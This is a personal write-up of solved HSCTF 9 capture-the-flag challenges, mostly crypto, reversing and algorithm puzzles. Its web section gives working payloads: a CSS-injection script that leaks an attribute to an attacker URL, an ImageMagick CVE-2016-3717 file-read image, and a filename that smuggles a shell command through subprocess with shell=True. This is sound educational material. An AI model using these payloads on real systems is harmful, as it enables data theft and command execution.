HSCTF 9 Writeup
Sat Jun 11 2022
I participated HSCTF 9 by myself. The results were 16th/805.
Here are my write-ups for challs I solved. Since there are many challs, I only write for ones solved by lower than 100.
crypto
baby-rsa
28 solves
baby-rsa.pyfrom Crypto.Util.number import * import random import itertools flag = open('flag.txt','rb').read() pt = bytes_to_long(flag) p,q = getPrime(512),getPrime(512) n = p*q a = random.randint(0,2**512) b = random.randint(0,a) c = random.randint(0,b) d = random.randint(0,c) e = random.randint(0,d) f = 0x10001 g = [[-a,0,a],[-b,0,b],[-c,0,c],[-d,0,d],[-e,0,e]] h = list(pow(sum(_),p,n) for _ in itertools.product(*g)) random.shuffle(h) print(h[0:len(h)//2]) print(n) print(pow(pt,f,n))
When , . This means that . When we pick up three of h there is a possibility that these are a pair like . If we can find two of this type of pair, is found by gcd of .
solve.pysum_cands = [] for h0, h1 in combinations(h, r=2): sum_cands.append(h0 + h1) multi_p_cands = [] for c0, c1 in product(sum_cands, h): multi_p_cands.append(c0 - c1) for kp0, kp1 in combinations(multi_p_cands[:4000], r=2): tmp = gcd(int(kp0), int(kp1)) if 400 < int(tmp).bit_length() < 600: print(tmp) p = tmp # p = 8232743274837446463598254637051161045911091397541451296000991485083369905136689783513169363218917147263240294508530778763390359497242952090254975434412391 assert n % p == 0 q = n // p e = 0x10001 d = int(pow(e, -1, (p - 1) * (q - 1))) print(long_to_bytes(int(pow(ct, d, n))))
flag{sometimes_you_just_want_to_make_long_flags_because_you_want_to_and_also_because_you_dont_know_what_else_you_can_put_here}
homophones
32 solves
ct.txtSDFBE1X38 ILNVP 6RTC HXYUKLM 82ZH NVL JBE4CG 9A D5HE 7WJZH5. QZAC U2GI T6 0F! ORWH5 97 T1AXYZ6FUE L2 VT8 8XZ VKUY 15 T1UF CN JHTJI 6R9P JK4R5B.
As the chall title or description implies, this is a Homophonic Substitution Cipher. I have nothing to say about this type of crypto chall... I used this site to find a possible word and take a trial and error. The final result is as follows.
Everybody knows that rolling your own crypto is very secure. Just look at me! There is absolutely no way you will be able to crack this cipher.
flag{1c9ea7b792ebb677aeefe01d4a862b47}
otp
88 solves
source.pyimport random from Crypto.Util.number import bytes_to_long def secure_seed(): x = 0 # x is a random integer between 0 and 100000000000 for i in range(10000000000): x += random.randint(0, random.randint(0, 10)) return x flag = open('flag.txt','rb').read() flag = bytes_to_long(flag) random.seed(secure_seed()) l = len(bin(flag)) - 1 print(l) k = random.getrandbits(l) flag = flag ^ k # super secure encryption print(flag)
The result of secure_seed() should statistically convergent to a certain value. I checked the result of it by replacing 10000000000 with doable size and found that it convegents to .
solve.pyimport random l = 328 enc = 444466166004822947723119817789495250410386698442581656332222628158680136313528100177866881816893557 N = 10000000000 M = int(N * 2.5) for i in range(-1000000, 1000000): random.seed(M + i) k = random.getrandbits(l) flag = long_to_bytes(enc ^^ k) if b"flag" in flag: print(flag)
flag{c3ntr4l_l1m1t_th30r3m_15431008597}
web
markdown-plus-plus
30 solves
The main part of this chall is in display.js.
display.jslet i = 0; function generate_id() { return "id" + i++; } function parse(markdown) { //TODO implement per-element custom styles let stylesheet = []; let tree = document.createDocumentFragment(); while (markdown.length > 0) { let node = document.createElement("span"); let id = generate_id(); node.id = id; let parsed, style = "", sub_stylesheet = []; if (markdown.startsWith("[b ")) { // bold style = "font-weight: bold"; [parsed, markdown, sub_stylesheet] = parse(markdown.substring(3)); } else if (markdown.startsWith("[i ")) { // italics style = "font-style: italic"; [parsed, markdown, sub_stylesheet] = parse(markdown.substring(3)); } else if (markdown.startsWith("[` ")) { // code style = `background-color: #eee; border-radius: 3px; font-family: monospace; padding: 0 3px;`; [parsed, markdown, sub_stylesheet] = parse(markdown.substring(3)); } else if (markdown.startsWith("[u ")) { // underline style = "text-decoration: underline"; [parsed, markdown, sub_stylesheet] = parse(markdown.substring(3)); } else if (markdown.startsWith("[s ")) { // strikethrough style = "text-decoration: line-through"; [parsed, markdown, sub_stylesheet] = parse(markdown.substring(3)); } else if (markdown.startsWith("[c=")) { // color markdown = markdown.substring(3); let arr = markdown.split(" "); let color = arr.shift(); markdown = arr.join(" "); style = "color:" + color; [parsed, markdown, sub_stylesheet] = parse(markdown); } else if (markdown.startsWith("[h=")) { // highlight markdown = markdown.substring(3); let arr = markdown.split(" "); let color = arr.shift(); markdown = arr.join(" "); style = "background-color:" + color; [parsed, markdown, sub_stylesheet] = parse(markdown); } else if (markdown.startsWith("[a=")) { // links markdown = markdown.substring(3); parsed = document.createElement("a"); let arr = markdown.split(" "); let href = arr.shift(); markdown = arr.join(" "); parsed.href = href; let content; [content, markdown, sub_stylesheet] = parse(markdown); parsed.append(content); } else if (markdown.startsWith("]")) { // end tag return [tree, markdown.substring(1), stylesheet]; } else { // match up to the next unescaped [ or ] var [_, text, markdown] = markdown.match(/^((?:(?![^\\][[\]]).)*.?)(.*)/); parsed = document.createTextNode(text); } node.append(parsed); stylesheet.push(`${id}{${style};}`); stylesheet.push(...sub_stylesheet); tree.append(node); } return [tree, "", stylesheet]; } function display() { let markdown = atob(location.hash.substring(1)); let [el, _, stylesheet] = parse(markdown); document.getElementById("root").appendChild(el); let style = document.createElement("style"); style.textContent = stylesheet.join("\n"); document.head.appendChild(style); } display();
We can easily find that we can cause CSS injection by [c= notation. When the input is [c=red ...], the style results in <style>#id1{color:red;}</style>. Therefore if we input [c=red;}hoge{...}#id1{color:blue ...], the result is <style>#id1{color:red;}hoge{...}#id1{color:blue;}</style>. This type of CSS injection can leak attributes of tag by tag[attribute^='f']{background-image:url(MYURL)}. The CSS requests MYURL only when the attribute of tag starts with f. I referred to this blog. I guessed that the flag (or something secret) was hidden in login name. This exists in placeholder of input. I leaked the flag char by char by running the script following and seeing the request.
solve.pyimport requests import string name = "flag{" payload = "[c=red;}" for i in range(33, 127): c = chr(i) if c not in string.ascii_letters + string.digits + "_}": continue if c in "\\": continue query = name + c if c == "'": c = "\\'" query = name + "'" print(c) payload += f"input[placeholder^='{name+c}']{{background-image:url(MYURL?q={query});}}" payload += "#id1{color:blue hoge]" base_url = "http://web1.hsctf.com:8002/display" payload_url = base_url + "#" + b64encode(payload.encode()).decode() post_url = "http://web1.hsctf.com:8000/markdown-plus-plus" r = requests.post(post_url, data={"url": payload_url}, headers={"Content-Type": "application/x-www-form-urlencoded"})
flag{waterfall_bfutsftfejpk}
png-wizard-v2
57 solves
main.py#!/usr/bin/env python3 import itertools import os import subprocess import sys from pathlib import Path import flask from flask import Flask, abort, redirect, render_template, request from flask.helpers import url_for from flask.wrappers import Response UPLOAD_FOLDER = '/upload' app = Flask(__name__) app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024 # 1 MB def rand_name(): return os.urandom(16).hex() def is_valid_extension(filename: Path): return ( filename.suffix.lower().lstrip(".") in ("gif", "jpg", "jpeg", "png", "tiff", "tif", "ico", "bmp", "ppm") ) @app.route("/", methods=["GET"]) def get(): return render_template("index.html") @app.route("/", methods=["POST"]) def post(): if "file" not in request.files: return render_template("index.html", error="No file provided") file = request.files["file"] if not file.filename: return render_template("index.html", error="No file provided") if len(file.filename) > 64: return render_template("index.html", error="Filename too long") filename = Path(UPLOAD_FOLDER).joinpath("a").with_name(rand_name() + Path(file.filename).suffix) if not is_valid_extension(filename): return render_template("index.html", error="Invalid extension") file.save(filename) new_name = filename.with_name(rand_name() + ".png") try: subprocess.run( ["convert", filename, new_name], check=True, stderr=subprocess.PIPE, timeout=5, env={}, executable="/usr/local/bin/shell" ) except subprocess.TimeoutExpired: return render_template("index.html", error="Command timed out") except subprocess.CalledProcessError as e: return render_template( "index.html", error=f"Error converting file: {e.stderr.decode('utf-8',errors='ignore')}" ) finally: filename.unlink() return redirect(url_for("converted_file", filename=new_name.name)) @app.route('/converted/<filename>') def converted_file(filename): path = Path(UPLOAD_FOLDER).joinpath("a").with_name(filename) if not path.exists(): # imagemagick sometimes generates multiple images depending on the src image oldpath = path path = oldpath.with_name(f"{oldpath.stem}-0{oldpath.suffix}") if path.exists(): for i in itertools.count(1): path2 = oldpath.with_name(f"{oldpath.stem}-{i}{oldpath.suffix}") if not path2.exists(): break path2.unlink() else: abort(404) def generate(): with path.open("rb") as f: yield from f path.unlink() return Response(generate(), mimetype="image/png") @app.route("/version") def version(): python_version = sys.version flask_version = flask.__version__ magick_version = subprocess.run(["convert", "-version"], check=False, stdout=subprocess.PIPE).stdout.decode() return render_template( "version.html", python_version=python_version, flask_version=flask_version, magick_version=magick_version ) if __name__ == "__main__": app.run()
The chall description implies that ImageMagick is old. The version can be checked in /version and is 6.8.9-9. I checked CVE for this version and found that CVE-2016-3717. This causes LFI. I referred to this article.
I uploaded the file below and the flag appeared on the image.
exploit.pngpush graphic-context viewbox 0 0 640 480 image over 0,0 0,0 'label:@flag.txt' pop graphic-context
flag{did_you_ever_hear_the_tragedy_of_darth_imagemagick_the_wise_6889108}
png-wizard
96 solves
main.py#!/usr/bin/env python3 import itertools import os import subprocess import sys from pathlib import Path import flask from flask import Flask, abort, redirect, render_template, request from flask.helpers import url_for from flask.wrappers import Response UPLOAD_FOLDER = '/upload' app = Flask(__name__) app.config["UPLOAD_FOLDER"] = UPLOAD_FOLDER app.config["MAX_CONTENT_LENGTH"] = 1 * 1024 * 1024 # 1 MB def rand_name(): return os.urandom(16).hex() def is_valid_extension(filename: Path): return ( filename.suffix.lower().lstrip(".") in ("gif", "jpg", "jpeg", "png", "tiff", "tif", "ico", "bmp", "ppm") ) @app.route("/", methods=["GET"]) def get(): return render_template("index.html") @app.route("/", methods=["POST"]) def post(): if "file" not in request.files: return render_template("index.html", error="No file provided") file = request.files["file"] if not file.filename: return render_template("index.html", error="No file provided") if len(file.filename) > 64: return render_template("index.html", error="Filename too long") filename = Path(UPLOAD_FOLDER).joinpath("a").with_name(file.filename) if not is_valid_extension(filename): return render_template("index.html", error="Invalid extension") file.save(filename) new_name = filename.with_name(rand_name() + ".png") try: subprocess.run( f"convert '{filename}' '{new_name}'", shell=True, check=True, stderr=subprocess.PIPE, timeout=5, env={}, executable="/usr/local/bin/shell" ) except subprocess.TimeoutExpired: return render_template("index.html", error="Command timed out") except subprocess.CalledProcessError as e: return render_template( "index.html", error=f"Error converting file: {e.stderr.decode('utf-8',errors='ignore')}" ) finally: filename.unlink() return redirect(url_for("converted_file", filename=new_name.name)) @app.route('/converted/<filename>') def converted_file(filename): path = Path(UPLOAD_FOLDER).joinpath("a").with_name(filename) if not path.exists(): # imagemagick sometimes generates multiple images depending on the src image oldpath = path path = oldpath.with_name(f"{oldpath.stem}-0{oldpath.suffix}") if path.exists(): for i in itertools.count(1): path2 = oldpath.with_name(f"{oldpath.stem}-{i}{oldpath.suffix}") if not path2.exists(): break path2.unlink() else: abort(404) def generate(): with path.open("rb") as f: yield from f path.unlink() return Response(generate(), mimetype="image/png") @app.route("/version") def version(): python_version = sys.version flask_version = str(flask.__version__) magick_version = subprocess.run( "convert -version", shell=True, check=False, stdout=subprocess.PIPE ).stdout.decode() return render_template( "version.html", python_version=python_version, flask_version=flask_version, magick_version=magick_version ) if __name__ == "__main__": app.run()
I first checked the version of something in /version but couldn't find useful CVE. The vulnerability is in python's subprocess.run (you can easily find by seeing diff of this chall and v2).
subprocess.run( f"convert '{filename}' '{new_name}'", shell=True, check=True, stderr=subprocess.PIPE, timeout=5, env={}, executable="/usr/local/bin/shell" )
Since shell=True, we can cause OS command injection by crafting filename. I modified filename into filename="*'cat flag.txt 'hoge';#'.png". This being uploaded, the flag shows up in error message.
flag{mary_anning_d1d352e0}
reversing
eunectes-murinus
68 solves
We are given .pyc file. Since the version of this .pyc file is 3.9, we cannot use Uncompyle6. I used pycdc instead.
But the result of pycdc went something wrong.
# Source Generated with Decompyle++ # File: eunectes-murinus.pyc (Python 3.9) def fun(): (x0, x1, x2, x3, x4, x5, x6, x7, x8, x9, x10, x11, x12, x13, x14, x15, x16, x17, x18, x19, x20, x21, x22, x23, x24, x25, x26, x27, x28, x29, x30, x31, x32, x33, x34, x35, x36, x37, x38, x39, x40, x41, x42, x43, x44, x45, x46, x47, x48, x49, x50, x51, x52, x53, x54, x55, x56, x57) = input('flag?\n').encode() if x50 * 8 * (x9 - 4) * (x24 + 4) != 9711352: return print('Failed') if x54 * 7 * (x13 - 3) * (x35 + 3) != 3764768: return print('Failed') if x57 * 2 * (x45 - 8) * (x19 + 1) != 1248000: return print('Failed') if x41 * 7 * (x35 - 2) * (x11 + 5) != 7452648: return print('Failed') if x25 * 1 * (x27 - 7) * (x3 + 7) != 1013650: return print('Failed') if x54 * 9 * (x41 - 5) * (x31 + 6) != 4860261: return print('Failed') if x12 * 3 * (x24 - 6) * (x50 + 4) != 3261825: return print('Failed') if x23 * 7 * (x19 - 4) * (x8 + 9) != 8149680: return print('Failed') if x39 * 7 * (x50 - 4) * (x56 + 1) != 7864857: return print('Failed') if x45 * 5 * (x56 - 8) * (x57 + 5) != 3276000: return print('Failed') if x7 * 9 * (x47 - 9) * (x23 + 1) != 4164210: return print('Failed') if x20 * 7 * (x43 - 2) * (x5 + 5) != 8704850: return print('Failed') if x45 * 6 * (x52 - 1) * (x45 + 8) != 1032192: return print('Failed') if x46 * 8 * (allanite - 9) * (kurnakovite + 4) != 3647952: return print('Failed') (kurnakovite = x32, x44, covellite = x44) if pyrophanite * 5 * (kurnakovite - 7) * (covellite + 1) != 5339520: return print('Failed') (akimotoite = x33, x9, kurnakovite = x9) if covellite * 6 * (akimotoite - 4) * (kurnakovite + 1) != 6170472: return print('Failed') (allanite = x42, x4, covellite = x4) if kurnakovite * 1 * (allanite - 1) * (covellite + 7) != 1502280: return print('Failed') (covellite = x54, x1, aerinite = x1) if chalcocite * 7 * (covellite - 3) * (aerinite + 2) != 3364900: return print('Failed') (kurnakovite = x24, x45, clinohumite = x45) if akimotoite * 9 * (kurnakovite - 3) * (clinohumite + 9) != 6748560: return print('Failed') (akimotoite = x43, x8, allanite = x8) if clinohumite * 9 * (akimotoite - 9) * (allanite + 7) != 12196800: return print('Failed') (fayalite = x35, x47, akimotoite = x47) if halloysite * 6 * (fayalite - 7) * (akimotoite + 7) != 3124176: return print('Failed') (fayalite = x3, x18, covellite = x18) if pyrophanite * 6 * (fayalite - 7) * (covellite + 2) != 6128640: return print('Failed') (allanite = x30, x0, chalcocite = x0) if akimotoite * 2 * (allanite - 4) * (chalcocite + 6) != 2268864: return print('Failed') (pyrophanite = x21, x25, fayalite = x25) if clinohumite * 4 * (pyrophanite - 6) * (fayalite + 5) != 5192000: return print('Failed') (halloysite = x39, x46, fayalite = x46) if chalcocite * 9 * (halloysite - 6) * (fayalite + 8) != 11118870: return print('Failed') (allanite = x46, x6, kurnakovite = x6) if pyrophanite * 8 * (allanite - 4) * (kurnakovite + 2) != 8096784: return print('Failed') (halloysite = x45, x19, aerinite = x19) if kurnakovite * 3 * (halloysite - 9) * (aerinite + 6) != 1552269: return print('Failed') (pyrophanite = x22, x31, clinohumite = x31) if akimotoite * 7 * (pyrophanite - 6) * (clinohumite + 3) != 3495856: return print('Failed') (chalcocite = x32, x30, kurnakovite = x30) if aerinite * 8 * (chalcocite - 3) * (kurnakovite + 7) != 9647120: return print('Failed') (akimotoite = x40, x32, covellite = x32) if pyrophanite * 6 * (akimotoite - 7) * (covellite + 3) != 5918940: return print('Failed') (covellite = x57, x50, fayalite = x50) if pyrophanite * 5 * (covellite - 4) * (fayalite + 3) != 7235800: return print('Failed') (allanite = x25, x17, akimotoite = x17) if fayalite * 3 * (allanite - 3) * (akimotoite + 8) != 3025236: return print('Failed') (pyrophanite = x37, x51, fayalite = x51) if covellite * 9 * (pyrophanite - 6) * (fayalite + 2) != 4297293: return print('Failed') (chalcocite = x25, x4, halloysite = x4) if clinohumite * 2 * (chalcocite - 1) * (halloysite + 7) != 2639520: return print('Failed') (halloysite = x8, x20, pyrophanite = x20) if aerinite * 7 * (halloysite - 1) * (pyrophanite + 1) != 7402752: return print('Failed') (pyrophanite = x38, x35, halloysite = x35) if covellite * 6 * (pyrophanite - 5) * (halloysite + 2) != 3299940: return print('Failed') (chalcocite = x34, x19, covellite = x19) if akimotoite * 1 * (chalcocite - 2) * (covellite + 2) != 1226610: return print('Failed') (fayalite = x10, x44, halloysite = x44) if covellite * 2 * (fayalite - 2) * (halloysite + 6) != 2203416: return print('Failed') (kurnakovite = x15, x40, clinohumite = x40) if akimotoite * 7 * (kurnakovite - 2) * (clinohumite + 1) != 7126168: return print('Failed') (halloysite = x47, x57, chalcocite = x57) if kurnakovite * 5 * (halloysite - 2) * (chalcocite + 9) != 3797560: return print('Failed') (kurnakovite = x24, x42, chalcocite = x42) if halloysite * 2 * (kurnakovite - 7) * (chalcocite + 8) != 2931552: return print('Failed') (halloysite = x24, x0, allanite = x0) if clinohumite * 6 * (halloysite - 6) * (allanite + 3) != 7210350: return print('Failed') (chalcocite = x39, x39, clinohumite = x39) if halloysite * 6 * (chalcocite - 5) * (clinohumite + 3) != 9515520: return print('Failed') (kurnakovite = x13, x53, halloysite = x53) if akimotoite * 4 * (kurnakovite - 5) * (halloysite + 6) != 4667520: return print('Failed') (akimotoite = x15, x24, halloysite = x24) if kurnakovite * 4 * (akimotoite - 3) * (halloysite + 2) != 4766580: return print('Failed') (fayalite = x42, x32, clinohumite = x32) if kurnakovite * 4 * (fayalite - 4) * (clinohumite + 2) != 4752384: return print('Failed') (akimotoite = x21, x12, aerinite = x12) if pyrophanite * 7 * (akimotoite - 6) * (aerinite + 8) != 8724100: return print('Failed') (kurnakovite = x6, x26, chalcocite = x26) if aerinite * 6 * (kurnakovite - 3) * (chalcocite + 4) != 7598928: return print('Failed') (chalcocite = x18, x30, halloysite = x30) if pyrophanite * 9 * (chalcocite - 7) * (halloysite + 7) != 11513340: return print('Failed') (clinohumite = x43, x13, kurnakovite = x13) if halloysite * 2 * (clinohumite - 4) * (kurnakovite + 9) != 2756520: return print('Failed') (clinohumite = x26, x55, aerinite = x55) if kurnakovite * 3 * (clinohumite - 2) * (aerinite + 5) != 3480360: return print('Failed') (chalcocite = x20, x55, pyrophanite = x55) if aerinite * 9 * (chalcocite - 7) * (pyrophanite + 8) != 9152352: return print('Failed') (kurnakovite = x26, x35, fayalite = x35) if pyrophanite * 6 * (kurnakovite - 2) * (fayalite + 5) != 5703600: return print('Failed') (pyrophanite = x27, x37, kurnakovite = x37) if aerinite * 8 * (pyrophanite - 6) * (kurnakovite + 9) != 4238304: return print('Failed') (clinohumite = x0, x42, akimotoite = x42) if kurnakovite * 7 * (clinohumite - 7) * (akimotoite + 5) != 7364210: return print('Failed') (aerinite = x5, x56, pyrophanite = x56) if allanite * 8 * (aerinite - 4) * (pyrophanite + 7) != 9332400: return print('Failed') (clinohumite = x2, x32, covellite = x32) if allanite * 1 * (clinohumite - 5) * (covellite + 4) != 513912: return print('Failed') (fayalite = x6, x13, aerinite = x13) if clinohumite * 3 * (fayalite - 7) * (aerinite + 4) != 4187610: return print('Failed') (pyrophanite = x46, x36, aerinite = x36) if kurnakovite * 6 * (pyrophanite - 6) * (aerinite + 7) != 6723360: return print('Failed') (aerinite = x14, x32, kurnakovite = x32) if pyrophanite * 5 * (aerinite - 8) * (kurnakovite + 2) != 6287120: return print('Failed') (fayalite = x9, x42, halloysite = x42) if akimotoite * 5 * (fayalite - 3) * (halloysite + 5) != 5820630: return print('Failed') (covellite = x54, x16, clinohumite = x16) if aerinite * 1 * (covellite - 8) * (clinohumite + 3) != 267894: return print('Failed') (clinohumite = x56, x43, pyrophanite = x43) if allanite * 5 * (clinohumite - 7) * (pyrophanite + 5) != 5790330: return print('Failed') (clinohumite = x49, x16, covellite = x16) if chalcocite * 6 * (clinohumite - 6) * (covellite + 6) != 3856896: return print('Failed') (pyrophanite = x0, x22, akimotoite = x22) if allanite * 9 * (pyrophanite - 6) * (akimotoite + 3) != 8967456: return print('Failed') (kurnakovite = x57, x14, fayalite = x14) if covellite * 6 * (kurnakovite - 3) * (fayalite + 3) != 4088952: return print('Failed') (allanite = x28, x37, covellite = x37) if clinohumite * 2 * (allanite - 4) * (covellite + 6) != 2394750: return print('Failed') (allanite = x51, x3, pyrophanite = x3) if akimotoite * 9 * (allanite - 2) * (pyrophanite + 2) != 5000940: return print('Failed') (covellite = x11, x17, chalcocite = x17) if pyrophanite * 2 * (covellite - 8) * (chalcocite + 5) != 2127840: return print('Failed') (clinohumite = x28, x56, halloysite = x56) if allanite * 7 * (clinohumite - 6) * (halloysite + 7) != 7290465: return print('Failed') (kurnakovite = x9, x30, allanite = x30) if halloysite * 1 * (kurnakovite - 5) * (allanite + 1) != 1362500: return print('Failed') (fayalite = x28, x50, aerinite = x50) if covellite * 7 * (fayalite - 9) * (aerinite + 9) != 7114800: return print('Failed') (clinohumite = x24, x29, akimotoite = x29) if covellite * 8 * (clinohumite - 9) * (akimotoite + 7) != 10142080: return print('Failed') (pyrophanite = x21, x36, covellite = x36) if chalcocite * 1 * (pyrophanite - 8) * (covellite + 4) != 1232604: return print('Failed') (allanite = x48, x5, aerinite = x5) if kurnakovite * 5 * (allanite - 8) * (aerinite + 9) != 2585520: return print('Failed') (akimotoite = x11, x9, clinohumite = x9) if kurnakovite * 6 * (akimotoite - 4) * (clinohumite + 7) != 7105056: return print('Failed') (kurnakovite = x14, x11, covellite = x11) if fayalite * 3 * (kurnakovite - 1) * (covellite + 4) != 3534300: return print('Failed') (halloysite = x9, x22, covellite = x22) if aerinite * 8 * (halloysite - 4) * (covellite + 7) != 10583184: return print('Failed') (pyrophanite = x28, x19, kurnakovite = x19) if chalcocite * 5 * (pyrophanite - 6) * (kurnakovite + 9) != 2751840: return print('Failed') (pyrophanite = x27, x16, akimotoite = x16) if halloysite * 1 * (pyrophanite - 1) * (akimotoite + 2) != 1211280: return print('Failed') (allanite = x34, x43, chalcocite = x43) if halloysite * 3 * (allanite - 6) * (chalcocite + 2) != 3785940: return print('Failed') (allanite = x45, x56, aerinite = x56) if akimotoite * 5 * (allanite - 5) * (aerinite + 7) != 2784600: return print('Failed') (chalcocite = x52, x8, fayalite = x8) if kurnakovite * 4 * (chalcocite - 3) * (fayalite + 7) != 1983520: return print('Failed') (akimotoite = x45, x5, chalcocite = x5) if halloysite * 8 * (akimotoite - 7) * (chalcocite + 7) != 4522112: return print('Failed') (fayalite = x8, x44, clinohumite = x44) if chalcocite * 6 * (fayalite - 4) * (clinohumite + 9) != 5868720: return print('Failed') (clinohumite = x1, x6, fayalite = x6) if chalcocite * 1 * (clinohumite - 9) * (fayalite + 3) != 1086624: return print('Failed') (halloysite = x2, x16, akimotoite = x16) if aerinite * 7 * (halloysite - 8) * (akimotoite + 7) != 8488375: return print('Failed') (aerinite = x42, x41, fayalite = x41) if pyrophanite * 8 * (aerinite - 4) * (fayalite + 8) != 11388416: return print('Failed') (clinohumite = x50, x11, covellite = x11) if fayalite * 1 * (clinohumite - 6) * (covellite + 8) != 1118340: return print('Failed') (covellite = x43, x2, kurnakovite = x2) if fayalite * 8 * (covellite - 1) * (kurnakovite + 2) != 9789120: return print('Failed') (covellite = x25, x54, clinohumite = x54) if pyrophanite * 3 * (covellite - 3) * (clinohumite + 2) != 1435752: return print('Failed') (allanite = x34, x48, pyrophanite = x48) if chalcocite * 3 * (allanite - 8) * (pyrophanite + 6) != 1484280: return print('Failed') (aerinite = x19, x7, kurnakovite = x7) if allanite * 4 * (aerinite - 5) * (kurnakovite + 7) != 4688320: return print('Failed') (covellite = x15, x52, clinohumite = x52) if allanite * 2 * (covellite - 8) * (clinohumite + 1) != 500000: return print('Failed') (chalcocite = x30, x4, pyrophanite = x4) if akimotoite * 9 * (chalcocite - 4) * (pyrophanite + 7) != 11559600: return print('Failed') (covellite = x44, x14, aerinite = x14) if fayalite * 9 * (covellite - 6) * (aerinite + 5) != 10034928: return print('Failed') (halloysite = x7, x53, kurnakovite = x53) if fayalite * 2 * (halloysite - 7) * (kurnakovite + 5) != 2039400: return print('Failed') (aerinite = x43, x19, pyrophanite = x19) if fayalite * 9 * (aerinite - 9) * (pyrophanite + 3) != 10577952: return print('Failed') (fayalite = x48, x10, aerinite = x10) if pyrophanite * 4 * (fayalite - 5) * (aerinite + 9) != 2099160: return print('Failed') (covellite = x32, x18, akimotoite = x18) if pyrophanite * 8 * (covellite - 3) * (akimotoite + 4) != 9270480: return print('Failed') return x32('Success') fun()
On the other hand pycdas seems work correctly. So I looked into disas of .pyc.
128 LOAD_FAST 50: x50 130 DUP_TOP 132 STORE_FAST 58: akimotoite 134 LOAD_FAST 9: x9 136 DUP_TOP 138 STORE_FAST 59: covellite 140 LOAD_FAST 24: x24 142 DUP_TOP 144 STORE_FAST 60: halloysite 146 BUILD_TUPLE 3 148 POP_TOP 150 LOAD_FAST 58: akimotoite 152 LOAD_CONST 2: 8 154 BINARY_MULTIPLY 156 LOAD_FAST 59: covellite 158 LOAD_CONST 3: 4 160 BINARY_SUBTRACT 162 BINARY_MULTIPLY 164 LOAD_FAST 60: halloysite 166 LOAD_CONST 3: 4 168 BINARY_ADD 170 BINARY_MULTIPLY 172 LOAD_CONST 4: 9711352 174 COMPARE_OP 3 (!=) 176 POP_JUMP_IF_FALSE 186 178 LOAD_GLOBAL 2: print 180 LOAD_CONST 5: 'Failed' 182 CALL_FUNCTION 1 184 RETURN_VALUE
In the program this structure exists repeatedly. So I parsed disas result and solve x by z3.
solve.pyimport re from z3 import * with open("/home/y011d4/hsctf/rev/eunectes_murinus/disas", "r") as fp: buf = fp.read() x = [Int(f"x{i}") for i in range(58)] x = [BitVec(f"x{i}", 24) for i in range(58)] xs = list(map(lambda x: f"x[{x}]", re.findall(r"LOAD_FAST.*x([0-9]*)", buf))) consts = list(filter(lambda x: len(x) > 0, re.findall(r"LOAD_CONST.*: ([0-9]*)", buf))) s = Solver() for i in range(len(x)): s.add(x[i] >= 32) s.add(x[i] < 127) for i in range(100): s.add(eval(f"{xs[3*i]} * {consts[4*i]} * ({xs[3*i+1]} - {consts[4*i+1]}) * ({xs[3*i+2]} + {consts[4*i+2]}) == {consts[4*i+3]}")) s.check() m = s.model() print("".join([chr(m[x[i]].as_long()) for i in range(58)]))
flag{imagine_solving_this_challenge_manually_8b626e31b1cb}
algorithms
hacking-part-2
25 solves
The story is so long but it comes down to constructing a minimum global tree. This can be easily found by Kruskal's algorithm. I referred to this article.
solve.pydef root(x): if x == p[x]: return x p[x] = y = root(p[x]) return y def unite(x, y): px = root(x) py = root(y) if px == py: return 0 if px < py: p[py] = px else: p[px] = py return 1 io = remote("hacking-pt2.hsctf.com", 1337) _ = io.recvline() for _ in range(5): _ = io.recvuntil(b"Test case") _ = io.recvline() N = int(io.recvline()) E = [] for i in range(N): inp_line = io.recvline().strip().decode() for pair in inp_line.split(): tmp_target, tmp_cost = map(int, pair.split(",")) E.append((tmp_cost, i, tmp_target - 1)) E.append((tmp_cost, tmp_target - 1, i)) p = list(range(N)) E.sort() ans = 0 for c, v, w in E: if unite(v, w): ans += c io.sendlineafter(b"Answer: ", str(ans).encode()) print(io.recvall())
flag{eLjMiKe_Is_PrOuD_oF_yOu}
hacking
37 solves
We can consider the directed graph whose node is a hacker and edge is a target. The answer equals to the number of nodes on cycle. This can be checked by dfs or something.
solve.pyimport sys from pwn import remote sys.setrecursionlimit = 10 ** 7 io = remote("hacking.hsctf.com", 1337) io.recvuntil(b"You can run the solver with:\n") ret = io.recvline().strip().decode() print(ret) sol = input("please!") io.sendlineafter(b"Solution? ", sol.encode()) _ = io.recvline() _ = io.recvline() inputs = [] for _ in range(5): inputs.append(list(map(lambda x: int(x) - 1, io.recvline().strip().decode().split(",")))) def dfs(inp, i, path): global used if i in path: for v, n in path.items(): if n < path[i]: used[v] = 0 else: used[v] = 1 return path[i] = len(path) next_i = inp[i] if used[next_i] in [0, 1]: for v, n in path.items(): used[v] = 0 used[i] = 0 else: dfs(inp, next_i, path) outputs = [] for inp in inputs: N = len(inp) used = [-1] * N i = 0 while True: if i >= N: break if used[i] != -1: i += 1 continue dfs(inp, i, {}) outputs.append(sum(used)) ans = ", ".join(map(str, outputs)) io.sendline(ans) io.interactive()
flag{cOnGrAtS_yOu_ArE_nOw_A_hAcKeR}
tunnels
45 solves
If we can try to guess more than eight, [2, 3, 4, 5, 6, 7, 7, 6, 5, 4, 3, 2] certainly wins. If we give up two patterns, (1) b40m1k3 first in 4 and move to 3, (2) b40m1k3 in 5 and move to 6 at 5 day, [2, 5, 6, 7, 7, 4, 3, 2] wins. These patterns happen of the time (so the success rate is ). This is a little bit small but my pray causes success.
solve.pyfrom pwn import remote, context context.log_level = "DEBUG" io = remote("tunnels.hsctf.com", 1337) cands = list(map(str, [2, 5, 6, 7, 7, 4, 3, 2])) # while True: io = remote("tunnels.hsctf.com", 1337) io.recvline() valid = True n_correct = 0 for n in range(200): for i in range(8): io.sendlineafter(b"guess: ", cands[i].encode()) ret = io.recvline().strip().decode() if ret == "correct": n_correct += 1 break print(n_correct, n + 1) if n <= 50: if n_correct < n - 4: valid = False break elif n <= 100: if n_correct < n - 6: valid = False break if n_correct < n - 13: valid = False break if not valid: io.close() continue print(io.recvall()) io.close() break
flag{b4om1k3_15_4_v3ry_1nt3r35t1ng_p3r50n_924972020}
misc
count-your-blessings-if-you-can
17 solves redacted since writeup for this chall is prohibited before the prize verificationis end.